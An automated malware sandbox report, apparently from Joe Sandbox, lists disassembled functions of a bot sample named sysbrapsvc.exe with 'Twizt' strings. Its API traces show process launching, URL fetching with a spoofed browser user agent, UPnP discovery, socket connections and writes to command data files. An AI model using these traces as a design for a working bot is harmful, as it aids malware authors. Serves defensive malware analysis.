Not Executed

APIs

InitializeCriticalSection.KERNEL32(0041A400,?,?,?,?,?,00407EC3), ref: 00405B6B
CreateFileW.KERNELBASE(C:\Users\user\tbtcmds.dat,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,00407EC3), ref: 00405B85
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00405BA6
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00405BC5
GetFileSize.KERNEL32(000000FF,00000000), ref: 00405BDE
UnmapViewOfFile.KERNEL32(00000000), ref: 00405C6B
CloseHandle.KERNEL32(00000000), ref: 00405C75
CloseHandle.KERNEL32(000000FF), ref: 00405C7F

Strings

C:\Users\user\tbtcmds.dat, xrefs: 00405B80

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
String ID: C:\Users\user\tbtcmds.dat
API String ID: 3956458805-3965455335
Opcode ID: 4497637cd0b756bf78cd114f633b1d148b8706e28ae781032a38565040356a71
Instruction ID: 34cf97d68150feb52ab64e4c1d62c08212747bf40ca63f75f299d91bb9f0c47d
Opcode Fuzzy Hash: 4497637cd0b756bf78cd114f633b1d148b8706e28ae781032a38565040356a71
Instruction Fuzzy Hash: 5D313A74A40308EBEB10DBA4CD4ABAFB770EB44704F208529E601772D0D7B96A81CF99

Function 0040EE30 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 60
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040EE3E
memset.NTDLL ref: 0040EE4E
CreateProcessW.KERNELBASE(00000000,00407896,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040EE87
Sleep.KERNEL32(000003E8), ref: 0040EE97
ShellExecuteW.SHELL32(00000000,open,00407896,00000000,00000000,00000000), ref: 0040EEB2
Sleep.KERNEL32(000003E8), ref: 0040EECC

Strings

open, xrefs: 0040EEAB
D, xrefs: 0040EE56
, xrefs: 0040EEC1

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Sleepmemset$CreateExecuteProcessShell
String ID: $D$open
API String ID: 3787208655-2182757814
Opcode ID: aaa8efd2447e76ebee4be6377d3fcdc8a7337733f8d70036db534e1e8db572fc
Instruction ID: ab95b539b52ee8c861e7b35bb7843e11e17158efae48c82db73052011d4181fd
Opcode Fuzzy Hash: aaa8efd2447e76ebee4be6377d3fcdc8a7337733f8d70036db534e1e8db572fc
Instruction Fuzzy Hash: F2113071A4430CBAEB10DB90DD46FDE7764AB14B00F104125FA057E2C0D6F5AA548759

Function 0040DD40 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040DD8E
Sleep.KERNELBASE(000003E8), ref: 0040DD9E
StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040DDBB
StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040DDD1
StrChrA.SHLWAPI(?,0000000D), ref: 0040DDFE

Strings

LOCATION: , xrefs: 0040DDC5
HTTP/1.1 200 OK, xrefs: 0040DDAF

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Sleeprecvfrom
String ID: HTTP/1.1 200 OK$LOCATION:
API String ID: 668330359-3973262388
Opcode ID: eefe196d39f416e400a4d4ef2e05462a5a71bb0c03a382919cece79f19d7d758
Instruction ID: 7b96b2f8d6d36e055c6c7570a615b3eea8bd5cb55d36e980e60cabbeadb8daeb
Opcode Fuzzy Hash: eefe196d39f416e400a4d4ef2e05462a5a71bb0c03a382919cece79f19d7d758
Instruction Fuzzy Hash: 78216FB5940218ABDB20DB64DC49BE97774AF04308F1085E9E709BB2D0D6B95AC6CF9C

Function 0040EEE0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040EEF7
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040EF16
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040EF3F
InternetCloseHandle.WININET(00000000), ref: 0040EF68
InternetCloseHandle.WININET(00000000), ref: 0040EF72
Sleep.KERNELBASE(000003E8), ref: 0040EF7D

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36, xrefs: 0040EEF2

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
API String ID: 2743515581-2272513262
Opcode ID: be2b98b0d1d94f3769b5301c8c7766c76a7eb5c2fd3991898107c864a0abb6dc
Instruction ID: 09246262baac8142bf73057cdf9805b9640511cbdee0a0d8a20d2e1b7007a2ac
Opcode Fuzzy Hash: be2b98b0d1d94f3769b5301c8c7766c76a7eb5c2fd3991898107c864a0abb6dc
Instruction Fuzzy Hash: 6A210A75A40309FBDB10DFA4CC49FEEB775AB08705F1085A9FA11AB2C0C7B96A44CB59

Function 0040B030 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 74fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(C:\Users\user\tbtnds.dat,40000000,00000000,00000000,00000002,00000002,00000000), ref: 0040B0C8
WriteFile.KERNELBASE(000000FF,00000000,?,?,00000000), ref: 0040B0E9
FlushFileBuffers.KERNEL32(000000FF), ref: 0040B0F3
CloseHandle.KERNEL32(000000FF), ref: 0040B0FD
InterlockedExchange.KERNEL32(00419828,0000003D), ref: 0040B10A

Strings

C:\Users\user\tbtnds.dat, xrefs: 0040B0C3

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
String ID: C:\Users\user\tbtnds.dat
API String ID: 442028454-4031448526
Opcode ID: 1e9444d5750d37bbbcc857e4368f663b0b7ba3596edf0d01e927ecec2ec7da89
Instruction ID: 65abf3b26d1f33ce57344cf3d4c90c2ddc2d392c326f45743aae56010b0155a0
Opcode Fuzzy Hash: 1e9444d5750d37bbbcc857e4368f663b0b7ba3596edf0d01e927ecec2ec7da89
Instruction Fuzzy Hash: D33149B8A40208EBCB14DF94EC45FAEB7B1FB48300F208569E511A7391D775AA51CB9A

Function 004073B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000003E8), ref: 00407434
Sleep.KERNELBASE(000003E8), ref: 00407463
wsprintfA.USER32 ref: 0040748E
DeleteUrlCacheEntry.WININET(?), ref: 0040749E
Sleep.KERNEL32(000DBBA0), ref: 004074E6

Strings

%s%s, xrefs: 00407482

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Sleep$CacheDeleteEntrywsprintf
String ID: %s%s
API String ID: 1447977647-3252725368
Opcode ID: 51ae6eda0d425cdf9ddaf6c3c8cff51808a0295876ba3643fa7b81f5b4b7d6d9
Instruction ID: 9050299abbe0a346d3081233791c3133021d614aeebffb5e53434d9287984c88
Opcode Fuzzy Hash: 51ae6eda0d425cdf9ddaf6c3c8cff51808a0295876ba3643fa7b81f5b4b7d6d9
Instruction Fuzzy Hash: 30310DB4C00218DFCB50DF95DC88BEDBBB4FB48304F1085AAE609B6290D7795A84CF5A

Function 00406340 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55registryCOMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 00406346
RegOpenKeyExW.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406394
RegQueryValueExW.KERNELBASE(?,NoDrives,00000000,00000000,00000000,00000004), ref: 004063C1
RegCloseKey.ADVAPI32(?), ref: 004063DE

Strings

NoDrives, xrefs: 004063B8
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 00406387

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: 46903cfc04ebe2d267c9076d905ed80b260209c2cd6c3f03203de3a9be594a56
Instruction ID: 85ff322c7a95afac5eb7bad71570108e7de378f82f6edd769b1cbb34207a952c
Opcode Fuzzy Hash: 46903cfc04ebe2d267c9076d905ed80b260209c2cd6c3f03203de3a9be594a56
Instruction Fuzzy Hash: 7F11D071E40209DBDB10CFD0D946BEEBBB4FB08704F108159E915B7280D7B8A655CF95

Function 0040D610 Relevance: 9.1, APIs: 6, Instructions: 80threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040D634

Part of subcall function 0040D700: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040D740
Part of subcall function 0040D700: CloseHandle.KERNEL32(?), ref: 0040D759

CreateThread.KERNELBASE(00000000,?,00000000,?,00000000,?), ref: 0040D68F
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040D6CC
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040D6D7
DuplicateHandle.KERNEL32(00000000), ref: 0040D6DE
LeaveCriticalSection.KERNEL32(-00000004), ref: 0040D6F2

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
String ID:
API String ID: 2251373460-0
Opcode ID: df6a6ebe43e350ee9e2e3ef0cc0677f8426168fd7d8f62afba8d156cc08b655c
Instruction ID: f472e5e68ab63b0dd33345cd9092821366bebf82f5afbdb011aebb5a24a45ce9
Opcode Fuzzy Hash: df6a6ebe43e350ee9e2e3ef0cc0677f8426168fd7d8f62afba8d156cc08b655c
Instruction Fuzzy Hash: 5D310A74A00208EFDB04DF98D889B9EBBB5FF49308F0085A9E905A7390D775EA95CF54

Function 00401200 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106networkCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000004,00000000,?,?), ref: 00401258
htons.WS2_32(?), ref: 00401281
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 004012A9
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004012BE

Strings

pdu, xrefs: 0040121D

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedhtonsmemcpysendto
String ID: pdu
API String ID: 2164660128-2320407122
Opcode ID: 4f2e69fc86119e98b8d82d5b4d5fedd48789e739a052b8fc27d84ba777224162
Instruction ID: 1b6d4435c5f8e1f149c0fb86e6a0c1a3006a9f031597685944d6c13f048a50c8
Opcode Fuzzy Hash: 4f2e69fc86119e98b8d82d5b4d5fedd48789e739a052b8fc27d84ba777224162
Instruction Fuzzy Hash: E931B2362083009BC710DF69D884A9BBBF4AFC9714F04457EFD9897381D6349914C7AB

Function 00406F70 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,00407ECD), ref: 00406F78
SysAllocString.OLEAUT32(C:\Windows\sysbrapsvc.exe), ref: 00406F83
CoUninitialize.OLE32 ref: 00406FA8

Part of subcall function 00406FC0: SysFreeString.OLEAUT32(00000000), ref: 004071D8

SysFreeString.OLEAUT32(00000000), ref: 00406FA2

Strings

C:\Windows\sysbrapsvc.exe, xrefs: 00406F7E

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: String$Free$AllocInitializeUninitialize
String ID: C:\Windows\sysbrapsvc.exe
API String ID: 459949847-94466369
Opcode ID: aac59f4c634c6c7e69739dc525912ddcdb212d49f49b460d16b2d8434ec6ae87
Instruction ID: c509d36c12d7ba2a5f650eb278e956dc9bc0801d495f3ab7a1e1adcf34b7a620
Opcode Fuzzy Hash: aac59f4c634c6c7e69739dc525912ddcdb212d49f49b460d16b2d8434ec6ae87
Instruction Fuzzy Hash: 57E0DFB4941308FBCB00EBE0EE0EB8D7738EB04315F004078F90267291DABA9E90CB19

Function 004062C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE(0040629F), ref: 004062CD
QueryDosDeviceW.KERNELBASE(0040629F,?,00000208), ref: 0040630C
StrCmpNW.KERNELBASE(?,\??\,00000004), ref: 00406324

Strings

\??\, xrefs: 00406318

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: DeviceDriveQueryType
String ID: \??\
API String ID: 1681518211-3047946824
Opcode ID: 1f4486d3417c416fbe6947eda0d50e0154391f7c0caa962a9d661e7b197f6568
Instruction ID: fe1cba3e8f96ca8ec28924db8accccc61f2e919e988f9d14e04ecf4ac666ff3a
Opcode Fuzzy Hash: 1f4486d3417c416fbe6947eda0d50e0154391f7c0caa962a9d661e7b197f6568
Instruction Fuzzy Hash: 1901FFB0A4021CEBCB20DF55DD49BDAB7B4AB04704F00C0BAAA05A7280E6759ED5DF9C

Function 00401100 Relevance: 6.1, APIs: 4, Instructions: 86synchronizationCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 0040112B
recvfrom.WS2_32 ref: 0040119C
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004011B2
WaitForSingleObject.KERNEL32(?,00000001), ref: 004011D3

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
String ID:
API String ID: 3980219359-0
Opcode ID: 040756bc7d30765698bbdbc2b7edff8924aad6f67f943ab09c6075d22f1106d0
Instruction ID: dd229b18b8e608a96638b9a50d19e2d27eaf393d2ffc9a5ffa46aac6cea4a516
Opcode Fuzzy Hash: 040756bc7d30765698bbdbc2b7edff8924aad6f67f943ab09c6075d22f1106d0
Instruction Fuzzy Hash: 7C21C3B1504301AFD304DF65DC84A6BB7E9EF88318F004A3EF555A6290E774D9588BEA

Function 00406FC0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON

Download Yara Rule

APIs

Part of subcall function 00407250: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 00407270

SysFreeString.OLEAUT32(00000000), ref: 004071D8

Strings

Microsoft Corporation, xrefs: 00407146

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CreateFreeInstanceString
String ID: Microsoft Corporation
API String ID: 586785272-3838278685
Opcode ID: 690b5235c47795fc41d87c923ea1756cc9ab4385446be0044075a6540b9607f4
Instruction ID: 3bd6e37ccb81fb26e20ba6f4aecac2bab56e95e75b440682a2c5ba52433a4c42
Opcode Fuzzy Hash: 690b5235c47795fc41d87c923ea1756cc9ab4385446be0044075a6540b9607f4
Instruction Fuzzy Hash: 2D91EC75A0410ADFCB04DF94C894AAFB7B5BF49304F208169E515BB3E0D734AD41CBA6

Function 0040DAF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,?,00407EC8), ref: 0040DAFA

Part of subcall function 0040DBC0: socket.WS2_32(00000002,00000002,00000011), ref: 0040DBDA
Part of subcall function 0040DBC0: htons.WS2_32(0000076C), ref: 0040DC10
Part of subcall function 0040DBC0: inet_addr.WS2_32(239.255.255.250), ref: 0040DC1F
Part of subcall function 0040DBC0: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040DC3D
Part of subcall function 0040DBC0: bind.WS2_32(000000FF,?,00000010), ref: 0040DC73
Part of subcall function 0040DBC0: lstrlenA.KERNEL32(00411C48,00000000,?,00000010), ref: 0040DC8C
Part of subcall function 0040DBC0: sendto.WS2_32(000000FF,00411C48,00000000), ref: 0040DC9B
Part of subcall function 0040DBC0: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040DCB5

Part of subcall function 0040DE30: SysFreeString.OLEAUT32(00000000), ref: 0040DF0B
Part of subcall function 0040DE30: SysFreeString.OLEAUT32(00000000), ref: 0040DF15

Strings

TCP, xrefs: 0040DB6B
UDP, xrefs: 0040DB88

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
String ID: TCP$UDP
API String ID: 1519345861-1097902612
Opcode ID: f2a508b97fbae45076dd5aa5ad3ba9adeb76e4e7dff97a5c25cb73082fa5fcae
Instruction ID: 6b43ad666573891978052671c2ef92d80966ae61c726f1f98895f42c7cfd0708
Opcode Fuzzy Hash: f2a508b97fbae45076dd5aa5ad3ba9adeb76e4e7dff97a5c25cb73082fa5fcae
Instruction Fuzzy Hash: 13117CB5D00208ABDB00EFE5DC46BAEB375EB44308F10856AE405772C6D7786A64CF9A

Function 0040CF80 Relevance: 4.6, APIs: 3, Instructions: 120COMMON

Download Yara Rule

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040CF8C
InterlockedIncrement.KERNEL32(000000FF), ref: 0040CFC1
InterlockedDecrement.KERNEL32(000000FF), ref: 0040D0C4

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Interlocked$DecrementExchangeIncrement
String ID:
API String ID: 2813130747-0
Opcode ID: f07d07808116d01262f8deb1295e0be634e7f723a0f1bb6a6e3719addcf20d22
Instruction ID: c84f62e62097384c753cec2b1afe61742353190dca667db28db9568c8f96fbfb
Opcode Fuzzy Hash: f07d07808116d01262f8deb1295e0be634e7f723a0f1bb6a6e3719addcf20d22
Instruction Fuzzy Hash: 2241B4B5E00208ABDF00EBE4D845BAF7B75AF04308F04856DF5097B2C2D679D649C79A

Function 0040B930 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(Twizt,0040CFE6,0040CFE6,?,?,0040CFE6,000000FF,0040CFE6,0040CFE6,000000FF,00000000), ref: 0040B97C

Strings

Twizt, xrefs: 0040B977
Twizt, xrefs: 0040B983

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: Twizt$Twizt
API String ID: 1659193697-16428492
Opcode ID: cdfbb7bf72505eeb15b37c34f8babcdeb414b79efb373e01c93ed64440f99f30
Instruction ID: 4f272ba0ccffe3418a14e21f7fbe91cca6632783ddd3ea8ee3177eefa107642c
Opcode Fuzzy Hash: cdfbb7bf72505eeb15b37c34f8babcdeb414b79efb373e01c93ed64440f99f30
Instruction Fuzzy Hash: EB110DB5900108BFCB04DF98D945E9EB7B5EF48304F14C1A9FD19AB342D635EA11CBA6

Function 0040D270 Relevance: 4.5, APIs: 3, Instructions: 45networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 0040D283
htons.WS2_32(00009E34), ref: 0040D2B5
connect.WS2_32(000000FF,?,00000010), ref: 0040D2CF

Part of subcall function 0040AFF0: shutdown.WS2_32(0040AFDD,00000002), ref: 0040AFF9
Part of subcall function 0040AFF0: closesocket.WS2_32(0040AFDD), ref: 0040B003

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

